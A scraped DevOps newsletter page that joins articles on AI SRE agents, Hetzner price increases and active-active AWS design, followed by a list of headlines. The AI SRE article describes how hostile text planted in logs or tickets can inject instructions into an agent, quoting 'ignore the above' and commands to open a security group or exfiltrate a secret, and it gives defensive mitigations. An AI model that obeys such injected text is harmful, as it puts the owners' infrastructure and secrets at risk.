This is also why it is not just a rename of the AIOps tools from five years ago. Those clustered alerts and drew dependency graphs. The new agents reason over the same data in language, follow a hypothesis the way a human on-call would, and can call tools. That is a real capability jump. It is also a real new attack surface, which we will get to.

The half that is real: investigation

Here is the thing the hype gets right. Detection is a solved problem. Most mature teams are not short on alerts; they are drowning in them. The expensive part of an incident in 2026 is not noticing, it is the twenty minutes of one engineer grepping logs and squinting at dashboards to figure out which of the six things that changed actually broke.

That is exactly the work these agents are good at. They are tireless at correlation: pulling the error spike, the latency graph, the three deploys in the last hour, and the one config change, and saying "start here." Vendors report meaningful numbers on this, and while you should read any vendor's own report with a raised eyebrow, the direction is consistent. New Relic's 2026 AI impact report, drawn from millions of platform users, put AI-assisted accounts at roughly double the signal-correlation rate and about a quarter less alert noise than non-AI accounts. Incident platforms report average mean-time-to-resolution improvements in the high teens of percent, with the best-tuned setups claiming much more.

Believe the modest version of those numbers and it is still a strong case. An agent that reliably cuts time-to-root-cause is worth having, because root cause is the bottleneck now. Used as a relentless investigator that hands a human a ranked set of hypotheses with the evidence attached, an AI SRE agent is one of the most useful tools to land in operations in years.

Notice what that sentence does not say: it does not say the agent fixes anything.

The half that is oversold: autonomous remediation

The demo always ends with the agent offering to apply the fix. This is where you should slow down.

Letting an agent take actions in production means handing a system that sometimes hallucinates a set of credentials and a tool belt. The failure modes are not exotic, they are the ordinary behavior of language models meeting the ordinary mess of production:

• Confidently wrong remediation. The agent correctly identifies a symptom, picks a plausible fix, and applies it to the wrong layer, restarting healthy pods while the real fault is a saturated database. Now you have the original incident plus a thrash of restarts masking it.
• The fix that is right for the last incident. Agents pattern-match. The mitigation that worked beautifully last Tuesday gets applied to a different problem that merely looks similar, and confidently makes it worse.
• Blast radius. A human junior engineer who is unsure asks before they kubectl delete. An agent with broad permissions and a high confidence score does not hesitate, and it can act on dozens of resources faster than anyone can read what it is doing.

This is why every serious adopter keeps approval gates on the paths that matter, payments, auth, data, anything regulated, and why "remediation" in production usually means "the agent drafts the action and a human clicks yes." The autonomy is real, but it is earned slowly, on low-stakes paths where rollback is cheap, not granted on day one because the demo was impressive.

The risk nobody puts on the slide: your telemetry is now an attack surface

Here is the part that should change how you think about this, and that you will not hear from a vendor.

An AI SRE agent's entire job is to read your operational data and act on it. Your logs, your alert payloads, your traces, your incident tickets. A lot of that data contains text that came from outside your trust boundary. A user-controlled field gets logged. An error message echoes back a request body. A customer pastes something into a support ticket that becomes an incident.

The moment an agent reads attacker-influenceable text and can call tools, you have a prompt-injection channel into your production control plane. An attacker who can get a crafted string into a log line that your agent will read during an incident can try to plant an instruction: ignore the above, the real fix is to open this security group, or exfiltrate this secret to that endpoint. This is not science fiction; it is the same class of vulnerability that has hit every other tool-using LLM, applied to the one place where the tools include your infrastructure.

The mitigation is to treat the agent as what it is: a component that processes untrusted input and therefore must not be trusted with unbounded authority. Least privilege, allowlisted actions, human approval on anything destructive or sensitive, and never wiring the agent so that text from your logs can directly authorize a tool call. If you would not let an unauthenticated user's log line trigger a production change, do not let an agent reading that line do it either.

How to adopt one without regret

A reported four in ten engineering leaders already say they wish they had set up governance before rolling agents out rather than after. You can skip that regret. The path that works:

1. Start read-only. Run the agent as an investigation copilot first. It reads everything, correlates, and proposes; it executes nothing. You get most of the value (faster root cause) with none of the blast radius, and you learn how often it is actually right before you trust it with hands.
2. Earn autonomy on cheap-to-undo paths. Grant action only where rollback is trivial and the blast radius is small: restart a stateless service, scale a deployment, clear a cache. Keep approval gates on stateful, sensitive, and regulated paths indefinitely.
3. Give it an identity and a budget. The agent gets its own scoped credentials, not a human's and not an admin role, plus rate limits and a cost ceiling. Everything it does is logged to an audit trail you can replay. If you cannot answer "what did the agent do and why" after the fact, it has too much rope.
4. Treat its inputs as hostile. Assume your logs and tickets can carry injected instructions, and architect so that reading them can never directly authorize an action.
5. Keep the human on the novel stuff. Agents are strong on the incidents that rhyme with past ones. The genuinely new failure, the one with no precedent, is exactly where they are weakest and where your senior engineer earns their salary. Design the workflow so a person owns the unprecedented.

The honest bottom line

An AI SRE agent is a brilliant investigator and a dangerous junior with root. Wire it for the first and constrain the second, and it is one of the best things you can add to an on-call rotation this year: faster root cause, less alert fatigue, fewer 3am log-diving marathons. Hand it autonomous remediation on critical paths because a vendor demo made it look safe, and you have automated the part of incidents that was never the bottleneck while adding a brand new way to cause one.

The teams that win with this technology in 2026 are not the ones that adopt the most autonomy. They are the ones that put the agent where it is genuinely strong, investigation, and keep a firm human hand on everything that can break production. The tool is good. The discipline is the product.

For a host whose entire brand is "absurdly cheap European iron," a near-doubling is a shock. But the interesting part for anyone who runs infrastructure is not the number. It is the reason behind it, because that reason is going to show up in your bills too, whether or not you host on Hetzner and whether or not you do anything with AI.

What actually changed

The adjustment applies to new orders and cloud rescales from June 15 onward. If you have an existing machine, you keep your current price until you reorder or resize it. Orders placed before the cutoff but delivered after still get the old price. Web hosting, managed and Exchange servers, IP addresses, storage boxes, and load balancers were left out of this round.

A few representative changes, taken from Hetzner's own price tables and heise's reporting:

Two patterns are worth pulling out of that table. The ARM line (CAX) took by far the smallest hit. The x86 dedicated-vCPU lines, the ones that come with more memory attached, took the largest. And US capacity rose far more than European, which tracks with where new hardware is hardest to get right now.

This is also not a one-off. By several outlets' count it is the third price adjustment Hetzner has made in 2026, after a round on April 1 that raised cloud servers 30 to 43%, object storage 30 to 53%, and, most tellingly, memory add-ons by around 575%. The "again" in everyone's reaction is earned.

The real story is in the memory market

Hetzner's stated reason is "extremely high procurement costs for new hardware." That is true, and it undersells how unusual the moment is. The component market is in the middle of what the industry is openly calling an AI supercycle, and the prices are genuinely historic.

The numbers behind the headlines, from Tom's Hardware, IEEE Spectrum, and TrendForce data:

• DRAM and NAND prices rose between 50% and 200% in the first half of 2026, with DRAM up roughly 171% year over year.
• AI data centers are projected to consume around 70% of high-end DRAM output in 2026, an inversion of who the memory makers used to build for.
• Samsung, SK hynix, and Micron have all redirected capacity toward high-bandwidth memory (HBM) and advanced DDR5 for AI accelerators. Micron's entire 2026 HBM output is reportedly already committed, which leaves less fab capacity for ordinary server DRAM.
• Hard drives are reportedly sold out for the year, and analysts expect tight allocation and elevated pricing to persist into 2027.

Server memory and storage are not a rounding error in a machine's bill of materials, they are most of it. When DRAM nearly doubles year over year and high-capacity drives are on allocation, the cost of building a new server rises sharply, and that 575% jump on Hetzner's memory add-ons back in April suddenly makes sense. A host running on thin margins cannot absorb that. It passes through.

Why Hetzner shows it first

It is tempting to read this as a Hetzner problem and conclude that the hyperscalers are safer. The opposite is closer to the truth. Hetzner is a leading indicator, not an outlier.

Hetzner sells close to cost. It buys hardware, racks it, and rents it with little margin to cushion a shock, so when component prices spike, the increase reaches customers in weeks. AWS, Google Cloud, and Azure buy in enormous volume on long contracts, sit on far higher margins, and wrap everything in committed-use discounts and multi-year enterprise agreements. That hides a cost shock for a while. It does not prevent it. The same DRAM and the same drives go into their racks too, and the bill arrives later, as quietly worse renewal terms, thinner discounts, pricier memory-optimized instances, and instance families that stop getting cheaper the way they used to. If a near-cost provider just went up 99%, the providers selling the same silicon at a markup are not immune. They are just slower to show it.

Is Hetzner still worth it?

Mostly, yes. Even after this increase, Hetzner remains dramatically cheaper than the hyperscalers for raw compute and bandwidth. A doubling of a number that started at a fraction of the AWS equivalent is still a fraction of the AWS equivalent. To put numbers on it, here is a comparably shaped box (around 2 vCPU and 8 GB) across three providers:

Even after more than doubling, the Hetzner box is still cheaper than the same shape on DigitalOcean and well under AWS on demand. What changed is the size of the gap: before June 15 that machine was roughly a quarter of the AWS price, and now it is closer to two thirds. The discount is real, it is just no longer the runaway it used to be, and a committed-use plan on AWS would narrow it further. The moat shrank, it did not close, and the egress story (where Hetzner includes generous traffic and the hyperscalers bill roughly $0.09 per GB after a small allowance) did not change at all. For a bandwidth-heavy service, that egress line can still dwarf the compute difference.

So the answer is not to rage-quit to a more expensive provider out of spite. It is to re-run the numbers you have probably not looked at since you set them, because the assumptions underneath them just moved.

What to actually do about it

1. Protect your grandfathered machines. Existing servers keep their old price until you reorder or rescale. That means a casual resize now reprices the whole machine at the new rate. Before you bump a server up a tier, check what it will cost after the change, not before. If you were about to tear down and recreate something, that is now a price increase you are choosing.
2. Treat memory as the cost center it has become. The line item that exploded is RAM. Audit your over-provisioned instances, the ones sized for a peak that never comes, because every spare gigabyte is now meaningfully more expensive. Right-sizing memory was always good hygiene; this is the quarter it pays for itself.
3. Look hard at ARM. Hetzner's ARM line took a third of the increase the x86 lines did. If your stack runs on ARM, or could with a rebuild of your images, you dodge a large part of this and usually get better price-performance anyway. The same is true on the hyperscalers with Graviton and equivalents.
4. Re-run your cost model and budget for hardware inflation everywhere. This is not contained to one host or one quarter. Price your colo refresh, your cloud renewals, and yes, the RAM in your next batch of laptops, against a market that analysts expect to stay tight into 2027. If you build cost models, raise the memory and storage line and leave it raised.
5. Do not over-correct. Migrating providers has its own large costs in engineering time and risk. The right move for most teams is to measure, right-size, and renegotiate, not to flee. Panic migrations during a price shock are how you trade a 99% line-item increase for a 100% project you did not need.

The bigger signal

Strip away the Hetzner specifics and here is what is left: the AI build-out is now large enough to move the price of the components every other computing workload depends on. You do not have to train a model, run inference, or ship a single AI feature to pay for the boom. If your service needs memory and disks, and all of them do, you are bidding for the same supply that the AI data centers are buying 70% of, and they are bidding harder.

Hetzner is just the first invoice to say so out loud. The rest will follow in their own time and their own quieter language. Plan your next year of infrastructure spend as if memory is expensive and scarce, because for the foreseeable future, it is.

This is the failure that pushes teams toward active-active. Not the dream of global low latency. The fear that the standby you are paying for does not actually work.

This post shows you how to design an active-active architecture on AWS that routes traffic to multiple live regions, replicates data between them, and fails a sick region out of rotation in under a minute. You will see the Route 53 config, the DynamoDB setup, the application changes that make it safe, and the real terminal output along the way.

TLDR

• Go active-active only if you need sub-minute RTO for a full region outage, have global users, or face a data residency rule. Multi-AZ covers almost everything else.
• Route traffic with Route 53 latency records plus health checks, or Global Accelerator when you need sub-30-second failover that does not wait on DNS TTL.
• DynamoDB Global Tables give you multi-region writes. Aurora Global Database does not. It is active-passive for writes, even if you call it active-active for reads.
• The hard part is not infrastructure. It is idempotency keys, globally unique IDs, and conflict resolution in your application code.
• Budget around 2.2x your single-region cost, and test failover on a schedule or it will not work when you need it.

Prerequisites

• An AWS account with permissions for Route 53, DynamoDB, Aurora, and Global Accelerator
• A working single-region application you can reason about (stateless app tier, a database, object storage)
• Comfort with the AWS CLI and either Terraform or CloudFormation
• A clear RTO and RPO target from your business, in numbers, before you start

First, are you sure you need this?

Multi-AZ already survives a data center fire and gives you 99.99% availability. A single region with three Availability Zones is the right answer for most apps. Going multi-region doubles your infrastructure, your data transfer bill, and the number of ways your system can be inconsistent.

You need active-active if you have at least one of these:

• A hard RTO under 60 seconds for a full region outage
• Global users where cross-ocean latency hurts the product
• A regulatory rule that forces data into specific geographies
• A contractual SLA your business cannot afford to miss

If none of those apply, stop here and spend the money on better monitoring instead. Multi-region is a tax you pay every single day to solve a problem that happens once a year.

The shape of an active-active stack

Here is what we are building. Two regions, both serving live traffic, with a global router in front and replicated data underneath.

                         Route 53 / Global Accelerator
                         (latency routing + health checks)
                                      |
                    +-----------------+-----------------+
                    |                                   |
              us-east-1                            eu-west-1
          +----------------+                  +----------------+
          |  ALB           |                  |  ALB           |
          |  App (ECS/EKS) |                  |  App (ECS/EKS) |
          +-------+--------+                  +-------+--------+
                  |                                   |
          +-------v--------+   <-- async repl -->  +--v-------------+
          | DynamoDB       | <===================> | DynamoDB       |
          | Global Tables  |   (last-writer-wins)  | Global Tables  |
          +----------------+                       +----------------+
                  |                                   |
          +-------v--------+   <-- storage repl -->  +-v--------------+
          | Aurora primary |  ====================>  | Aurora reader  |
          | (writes here)  |   (read-only secondary) | (reads only)   |
          +----------------+                         +----------------+

Both regions take reads and writes for DynamoDB-backed data. For Aurora-backed data, both regions read but only one writes. That split matters, and we will come back to it.

Routing traffic to the nearest healthy region

Route 53 latency-based routing returns the region with the lowest measured network latency for the resolver asking. Attach a health check to each record so a sick region drops out of rotation automatically.

Create the health check first:

aws route53 create-health-check \
  --caller-reference "api-eu-$(date +%s)" \
  --health-check-config '{
    "Type": "HTTPS",
    "ResourcePath": "/healthz",
    "FullyQualifiedDomainName": "api-eu.example.com",
    "Port": 443,
    "RequestInterval": 10,
    "FailureThreshold": 3
  }'

Then point a latency record at each region and bind the health check:

{
  "Comment": "Active-active latency record for eu-west-1",
  "Changes": [{
    "Action": "UPSERT",
    "ResourceRecordSet": {
      "Name": "api.example.com",
      "Type": "A",
      "SetIdentifier": "eu-west-1",
      "Region": "eu-west-1",
      "AliasTarget": {
        "HostedZoneId": "Z32O12XQLNTSW2",
        "DNSName": "dualstack.alb-eu.eu-west-1.elb.amazonaws.com",
        "EvaluateTargetHealth": true
      },
      "HealthCheckId": "abcd1234-5678-90ab-cdef-1234567890ab"
    }
  }]
}

aws route53 change-resource-record-sets \
  --hosted-zone-id Z123456789ABC \
  --change-batch file://latency-record-eu.json

The catch with DNS is TTL. Resolvers and clients cache records, so your real failover time is the health check interval times the failure threshold, plus the TTL. With a 10-second interval, a threshold of 3, and a 60-second TTL, expect roughly 90 seconds before most clients move. Some clients ignore TTL entirely and stay pinned for much longer.

You can watch a failover happen with dig:

$ dig +short api.example.com
# eu-west-1 healthy, you are in Europe
52.18.44.7

# after eu-west-1 health check fails, query again
$ dig +short api.example.com
18.234.91.2   # now resolving to us-east-1

If 90 seconds is too slow, or you serve non-HTTP traffic like gaming or IoT, use AWS Global Accelerator instead. It hands you two static anycast IPs and routes over the AWS backbone to the nearest healthy region. Failover is sub-30 seconds because it does not depend on DNS caching. It costs about $18 a month per accelerator plus data transfer, so reach for it only when you need that speed.

Replicating data without losing writes

This is where active-active gets hard. Two regions accepting writes at the same time will conflict, and how you handle that conflict decides whether your design is sound or quietly losing data.

DynamoDB Global Tables for multi-region writes

DynamoDB Global Tables replicate writes between regions asynchronously, usually within a second. Every region accepts writes locally. Turn it on by adding a replica:

aws dynamodb update-table \
  --table-name orders \
  --region us-east-1 \
  --replica-updates '[{"Create": {"RegionName": "eu-west-1"}}]'

Conflict resolution is last-writer-wins, based on the wall clock of the region that did the write. If two regions update the same item in the same second, one update silently disappears. That is fine for naturally partitioned data like per-user state. It is dangerous for shared counters or hot keys.

The fix for hot keys is to not write the same item from two regions. Partition writes by key so a given record is only ever written from one region, or use atomic counters and CRDTs for data that genuinely needs to merge.

Aurora Global Database is not active-active for writes

Be honest with yourself here. Aurora Global Database replicates a primary region to up to five secondaries at the storage layer, typically under a second of lag. The secondaries are read-only. Only one region accepts writes.

So Aurora Global is active-active for reads and active-passive for writes. If your app sends a write to the secondary region, you get this:

ERROR 1290 (HY000): The MySQL server is running with the
--read-only option so it cannot execute this statement

You have two real options. Either send all writes to the primary region from both app tiers (and accept the cross-region write latency for users far from the primary), or shard your relational data by region so each region owns its own slice. There is no managed multi-writer Aurora across regions that you should bet a production system on today.

The application changes nobody warns you about

You can wire up all the AWS pieces and still corrupt data, because active-active breaks assumptions baked into most application code.

Every write needs an idempotency key

In multi-region you will have retries, dual delivery during replication lag, and clients that hit a different region after a failover. Without idempotency, a payment gets processed twice and the customer calls support.

Require a client-supplied idempotency key on every write and store it long enough to outlive cross-region replication, 24 hours or more. In DynamoDB, a conditional write does the dedupe for you:

import boto3
from botocore.exceptions import ClientError

table = boto3.resource("dynamodb").Table("charges")

def create_charge(idempotency_key: str, amount: int):
    try:
        table.put_item(
            Item={"pk": idempotency_key, "amount": amount, "status": "captured"},
            # only write if this key was never seen before
            ConditionExpression="attribute_not_exists(pk)",
        )
    except ClientError as e:
        if e.response["Error"]["Code"] == "ConditionalCheckFailedException":
            # duplicate request, return the existing result, do not charge again
            return table.get_item(Key={"pk": idempotency_key})["Item"]
        raise

The retry that would have double-charged now hits the condition and returns the original result:

botocore.errorfactory.ConditionalCheckFailedException:
An error occurred (ConditionalCheckFailedException) when calling
the PutItem operation: The conditional request failed

That error is not a bug. That is the system protecting you.

Drop auto-increment IDs

Two regions handing out INSERT rows will both generate ID 4892 for different records. When replication catches up, you get duplicate primary keys and a merge failure. Generate globally unique IDs in the application instead. Use UUIDv7 or ULID so the IDs are time-ordered and still index well:

from uuid_extensions import uuid7   # time-ordered, sortable, no coordination

order_id = str(uuid7())
# '018f9b2a-7c3e-7def-8a1b-2c4d6e8f0a12'

UUIDv4 works too, but random IDs fragment your B-tree indexes on large tables. Pick UUIDv7 or ULID for anything that grows.

Keep session state out of the app server

The user's next request might land in a different region, so local memory and a region-pinned Redis will not survive failover. Use stateless signed tokens (JWT) when you can live with the revocation complexity, or a replicated store like DynamoDB Global Tables for shopping carts and longer sessions.

What it actually costs and how to test it

The duplicated compute is the obvious cost. The ones that surprise people on the bill:

• Inter-region data transfer at roughly $0.02 per GB for replication, which adds up fast on a write-heavy app
• DynamoDB Global Tables charging replicated write capacity in every region
• Aurora Global Database charging replicated storage in every region
• Engineering time spent debugging consistency bugs and running game days

Budget at least 2.2x your single-region cost. In year one, the engineering tax is bigger than the infrastructure tax.

And test it. The whole reason to go active-active is that the standby is verified working every second, so do not let that promise rot. Run a game day at least quarterly. Use AWS Fault Injection Simulator to cut a region off, or just disable a health check and watch traffic shift:

aws route53 update-health-check \
  --health-check-id abcd1234-5678-90ab-cdef-1234567890ab \
  --disabled

Watch the traffic move in your dashboards, confirm writes still succeed, then test the failback too. If the team is nervous about running this test, that nervousness is exactly the signal that you need to run it.

Next steps

Pick one path and start small:

1. Write down your RTO and RPO targets in real numbers and confirm multi-AZ truly cannot meet them. If it can, stop and save the money.
2. Add idempotency keys to every write API in your current single-region app. This is the highest-value change and you can do it today, before any multi-region work.
3. Move one bounded, naturally partitioned dataset (sessions or per-user state) to DynamoDB Global Tables and prove replication works end to end.
4. Stand up the second region's app tier behind a Route 53 latency record with a real /healthz check, then run a game day and disable one region.
5. Only after steps 1 through 4 feel boring should you tackle the relational data, which is the genuinely hard part.

Do them in that order. Most teams that fail at multi-region fail because they bought the infrastructure before they fixed the application.

📌 Handpicked by DevOps Daily - Your weekly dose of curated DevOps news and updates!

⚓ Kubernetes

📄 Six Live Kubernetes Recommendations: AKS, Cilium, Rate Limiting, and More

On June 10th, Engin and I ran a live workshop building an AKS cluster, an Azure Container Registry, and a random-cat web app from scratch in C#. This is the writeup, including the parts we didn’t get

📅 Jun 15, 2026 • 📰 Pulumi Blog

🔗 Read more

📄 Spotlight on SIG Storage

In our ongoing SIG Spotlight series, we shine a light on the groups that keep the Kubernetes project moving forward. This time, we catch up with SIG Storage, the group responsible for persistent data,

📅 Jun 15, 2026 • 📰 Kubernetes Blog

🔗 Read more

📄 Agent Sandbox with Lovable, with Jonathan Grahl

In this episode we speak to Jonathan Grahl. Jonathan is the Team Lead of Infrastructure at Lovable where he oversees the platform stack the company runs on. We talked about Kubernetes, Sandboxes and C

📅 Jun 12, 2026 • 📰 Kubernetes Podcast

🔗 Read more

📄 The next era of telco clouds: get open infrastructure choice with Sylva and Canonical Kubernetes

Achieving vendor neutrality in telco clouds requires an infrastructure layer that respects open standards, without wrapping them in rigid platform layers. By combining upstream alignment with up to 15

📅 Jun 11, 2026 • 📰 Ubuntu Blog

🔗 Read more

📄 ScyllaDB Operator 1.21 Release — with Oracle Kubernetes Engine (OKE) Support

Introducing Oracle Kubernetes Engine support, stronger TLS, and a lighter dependency footprint

📅 Jun 10, 2026 • 📰 ScyllaDB Blog

🔗 Read more

📄 Solving secret sprawl in multi-account Kubernetes with External Secrets Operator

Infrastructure provisioning in Kubernetes has become increasingly automated, but secret management often remains a challenge as environments grow. Organizations commonly separate development, staging,

📅 Jun 9, 2026 • 📰 CNCF Blog

🔗 Read more

📄 Conflict management in intent-based networks

The theme for TM Forum Digital Transformation World (DTW) Ignite 2026 in Copenhagen is "The Future. Faster." As we move further into the decade, connectivity has evolved from a utility into the centra

📅 Jun 9, 2026 • 📰 OpenShift Blog

🔗 Read more

☁️ Cloud Native

📄 Improving Arm64 support in CNCF projects with OCI credits

In recent years, Arm64 has been taking the cloud service provider world by storm. Recent reports indicate that, as of the end of 2025, over 50% of new instances on AWS and over 33% on Azure...

📅 Jun 15, 2026 • 📰 CNCF Blog

🔗 Read more

📄 Introducing Verifiable Execution in Dapr 1.18

Bringing attestation, provenance, and tamper-evident execution history to workflows and AI agents For years, the cloud native ecosystem has focused on making distributed systems resilient. Application

📅 Jun 11, 2026 • 📰 CNCF Blog

🔗 Read more

📄 Docker Hardened Images enhanced vulnerability scanning with Docker and Aikido

Aikido now scans Docker Hardened Images (DHI) with built-in VEX support. Vulnerabilities that Docker has verified as non-exploitable drop out of the queue automatically, so developers spend their time

📅 Jun 11, 2026 • 📰 Docker Blog

🔗 Read more

📄 Better Together: Amazon EKS Auto Mode and Istio Ambient Mesh

In this post, you will learn how Amazon EKS Auto Mode and Istio Ambient Mesh work together to automate infrastructure management while providing automatic mTLS-based service-to-service security, helpi

📅 Jun 9, 2026 • 📰 AWS Containers Blog

🔗 Read more

🔄 CI/CD

📄 GitHub Removes PAT Requirement for Agentic Workflows

GitHub Agentic Workflows can now use GitHub Actions' built-in GITHUB_TOKEN instead of a personal access token (PAT). That means developers no longer need to create, store, or rotate a PAT to run agent

📅 Jun 15, 2026 • 📰 DevOps.com

🔗 Read more

📄 How we made GitHub Copilot CLI more selective about delegation

Better orchestration, fewer handoffs, faster progress, without a single new knob. The post How we made GitHub Copilot CLI more selective about delegation appeared first on The GitHub Blog.

📅 Jun 12, 2026 • 📰 GitHub Blog

🔗 Read more

📄 Securing CI/CD for an open source project: Locking down dependencies

Part two This is the second post in a three-part series on how Cilium hardens its CI/CD pipeline. Part 1 covered access control: who can trigger builds and what code CI is allowed to execute. This...

📅 Jun 12, 2026 • 📰 CNCF Blog

🔗 Read more

📄 GitHub availability report: May 2026

In May, we experienced nine incidents that resulted in degraded performance across GitHub services. The post GitHub availability report: May 2026 appeared first on The GitHub Blog.

📅 Jun 11, 2026 • 📰 GitHub Blog

🔗 Read more

📄 Speed isn't the risk. Lack of control is.

Why controlling code and agents in the AI era matters—and why we built AgentControl.

📅 Jun 11, 2026 • 📰 LaunchDarkly Blog

🔗 Read more

📄 Making secret scanning more trustworthy: Reducing false positives at scale

Alerts are more trustworthy and actionable when noise is reduced. See how we improved the verification step with context-aware LLM reasoning. The post Making secret scanning more trustworthy: Reducing

📅 Jun 11, 2026 • 📰 GitHub Blog

🔗 Read more

📄 GitLab Patch Release: 19.0.2, 18.11.5, 18.10.8

📅 Jun 11, 2026 • 📰 GitLab Blog

🔗 Read more

📄 Give GitHub Copilot CLI real code intelligence with language servers

Install and configure LSP servers for GitHub Copilot CLI, replacing brute-force grep/decompile with real code intelligence. The post Give GitHub Copilot CLI real code intelligence with language server

📅 Jun 10, 2026 • 📰 GitHub Blog

🔗 Read more

📄 Introducing GitLab Orbit: Full code and lifecycle context, in one query

Agents are good at writing code. They're far worse at navigating the system around it: the related code, the pipelines that run it, the deployments that ship it, the work items that asked for it, and

📅 Jun 10, 2026 • 📰 GitLab Blog

🔗 Read more

📄 GitLab Flex: Commit once, reshape your seats and AI spend

The agentic era made your needs harder to predict, and the way you buy software hasn't caught up. Six months out, you don't know how many seats you'll need, how much AI your teams will consume, or whi

📅 Jun 10, 2026 • 📰 GitLab Blog

🔗 Read more

📄 GitLab: Built for the agentic engineering era

GitLab Transcend, our customer event showcasing our roadmap, success stories, and industry research just wrapped. Here's what we announced and demonstrated: Next-generation source code management, a G

📅 Jun 10, 2026 • 📰 GitLab Blog

🔗 Read more

📄 Modern Mainframe DevOps: Automate CI/CD for z/OS Application

Drive developer productivity by replacing brittle, legacy mainframe scripts with declarative, secure, and fully automated multi-tier release pipelines. | Blog

📅 Jun 10, 2026 • 📰 Harness Blog

🔗 Read more

🏗️ IaC

📄 Scaling automated infrastructure compliance in telecommunications using Red Hat Ansible Automation Platform

As telecommunications (telco) mobile networks evolve from physical hardware to virtualized and containerized infrastructure, the volume of necessary network element upgrades has increased exponentiall

📅 Jun 15, 2026 • 📰 Red Hat Blog

🔗 Read more

📄 SageMaker AI now supports serverless fine-tuning for NVIDIA Nemotron models

Amazon SageMaker AI now supports serverless model customization for NVIDIA Nemotron 3 Nano model using supervised fine-tuning (SFT) and reinforcement fine-tuning (RFT). This is a popular open-weight m

📅 Jun 12, 2026 • 📰 CloudFormation Updates

🔗 Read more

📄 Friday Five — June 12, 2026

The AI-enabled enterprise: Why we are applying software engineering principles to business operationsRed Hat is applying the concept of Business as Code to reshape its own business operations. Serving

📅 Jun 12, 2026 • 📰 Red Hat Blog

🔗 Read more

📊 Observability

📄 OTel-Arrow Phase 2: From Efficient Transport to Efficient Telemetry Pipelines

Phase 1 of OTel-Arrow established OTAP, the OpenTelemetry Arrow Protocol, as an efficient transport protocol for OpenTelemetry. Apache Arrow is a language-independent, columnar in-memory format design

📅 Jun 13, 2026 • 📰 OpenTelemetry Blog

🔗 Read more

📄 Better, faster, less wrong: Enhancing issue grouping

Sentry's new AI grouping model prevents 20% more duplicate issues while cutting incorrect merges in half. Here's how we trained and deployed it.

📅 Jun 12, 2026 • 📰 Sentry Blog

🔗 Read more

📄 Introducing the State of AI Coding 2026

New Relic's 2026 State of AI Coding Report surveys 200 U.S. tech leaders on generative and agentic AI tools moving from personal sandboxes to production pipelines.

📅 Jun 10, 2026 • 📰 New Relic Blog

🔗 Read more

📄 Exploring AI Integration in Zabbix with Gemini and WebMCP

When I first started working with Zabbix in banking and telecommunications over a decade ago, the workflow was always the same: something breaks, an alert fires, you open the dashboard, you diagnose,

📅 Jun 9, 2026 • 📰 Zabbix Blog

🔗 Read more

📄 Best Datadog Alternatives for Modern Observability in 2026

Discover the best Datadog alternatives to improve observability, reduce costs, and unify telemetry for your engineering team’s reliability and efficiency.

📅 Jun 9, 2026 • 📰 New Relic Blog

🔗 Read more

📄 Logs vs Metrics: What’s the Difference in Observability?

Understand when to use logs vs metrics for effective monitoring and debugging. Learn how a unified approach improves incident response and system insights.

📅 Jun 9, 2026 • 📰 New Relic Blog

🔗 Read more

📄 Open Source Observability: Tools, Setup, and Trade-offs

Learn how to build effective open source observability that improves system reliability and reduces complexity with proven tools and strategies.

📅 Jun 9, 2026 • 📰 New Relic Blog

🔗 Read more

🔐 Security

📄 Threats Making WAVs - Incident Response to a Cryptomining Attack

Guardicore security researchers describe and uncover a full analysis of a cryptomining attack, which hid a cryptominer inside WAV files. The report includes the full attack vectors, from detection, in

📅 Jun 15, 2026 • 📰 Linode Blog

🔗 Read more

📄 Respect and Trust as DevOps Engineering Disciplines

Respect and trust are DevOps engineering disciplines. They shape flow, quality, security, reliability, and adaptation.

📅 Jun 15, 2026 • 📰 DevOps.com

🔗 Read more

📄 Opinion: The Anthropic Dispute Is Not Really About Anthropic. It’s About Trust.

When the US government effectively forced Anthropic to suspend access to some of its newest AI models over security concerns (Fable 5, Mythos 5), much of the debate immediately split into familiar cam

📅 Jun 15, 2026 • 📰 JetBrains Blog

🔗 Read more

📄 The Government Just Banned an AI Model. An Engineer's Perspective.

A government order abruptly took down a powerful AI model, exposing a new kind of supply chain risk for engineering teams. Security leaders need contingency plans before the next model disappears.

📅 Jun 15, 2026 • 📰 Snyk Blog

🔗 Read more

📄 When a Government Pulls an AI Model: What the Fable 5 and Mythos 5 Suspension Means for Security Teams

On June 12, 2026, a US export-control directive led Anthropic to disable Claude Fable 5 and Mythos 5 worldwide over a reported jailbreak. The reported trigger was a code-analysis capability that defen

📅 Jun 14, 2026 • 📰 Snyk Blog

🔗 Read more

📄 Scaling Security Insights: how we achieved a 10x increase in global scanning capacity

Cloudflare Security Insights system now processes over 120 scans per second, providing frequent insights for all customers. By optimizing Kafka consumers, Postgres queries, and our API, we scaled our

📅 Jun 12, 2026 • 📰 Cloudflare Blog

🔗 Read more

📄 SUSE at GITEX AI Europe 2026: Empowering Sovereign Digital Transformation and Enterprise AI

As European enterprises drive toward a bold, open and connected digital future, the race to implement artificial intelligence is accelerating. However, scaling AI workloads while maintaining complete

📅 Jun 12, 2026 • 📰 SUSE Blog

🔗 Read more

📄 Powering the next era of Confidential AI

At Google Cloud, we’re committed to providing the most advanced, secure, and private infrastructure for the most demanding AI workloads, and partnering with a broad and diverse range of organizations

📅 Jun 11, 2026 • 📰 Google Cloud Blog

🔗 Read more

📄 Copilot Autofix for GitHub Advanced Security for Azure DevOps

Over the last few years, we’ve encouraged customers to move their repositories from Azure Repos to GitHub, where the newest AI-powered and agentic development experiences land first. Migrating isn’t e

📅 Jun 11, 2026 • 📰 Azure DevOps Blog

🔗 Read more

📄 Defend against frontier cyber models: Cloudflare's architecture as customer zero

In our post about Project Glasswing, we made the argument that the architecture around a vulnerability matters more than the speed of the patch. Here we walk through what that architecture looks like,

📅 Jun 9, 2026 • 📰 Cloudflare Blog

🔗 Read more

📄 5 Software Supply Chain Security Best Practices for Development Teams

Understanding software supply chain security is one thing. Putting it into practice across a real pipeline, with real deadlines and real constraints, is another. Most organizations recognize that thei

📅 Jun 8, 2026 • 📰 Docker Blog

🔗 Read more

💾 Databases

📄 Database Branching for AI Agents: How TINE Solves the Schema Drift Problem

Key Takeaways AI coding agents are no longer a novelty. From Claude Code to Cursor’s agent mode, from GitHub Copilot Workspace to OpenAI Codex, “generate an app from a prompt” demos flood developer fe

📅 Jun 15, 2026 • 📰 TiDB Blog

🔗 Read more

📄 Conway’s Law in Reverse: Why AI Agents Need One Database, Not Ten

Agentic AI did not create a new kind of database. It revealed which ones were already built for it. Across 2026 so far, a wave of large software companies have cut tens of thousands of roles and expla

📅 Jun 11, 2026 • 📰 TiDB Blog

🔗 Read more

📄 Production-Ready Agents Need A Production-Ready Data Platform

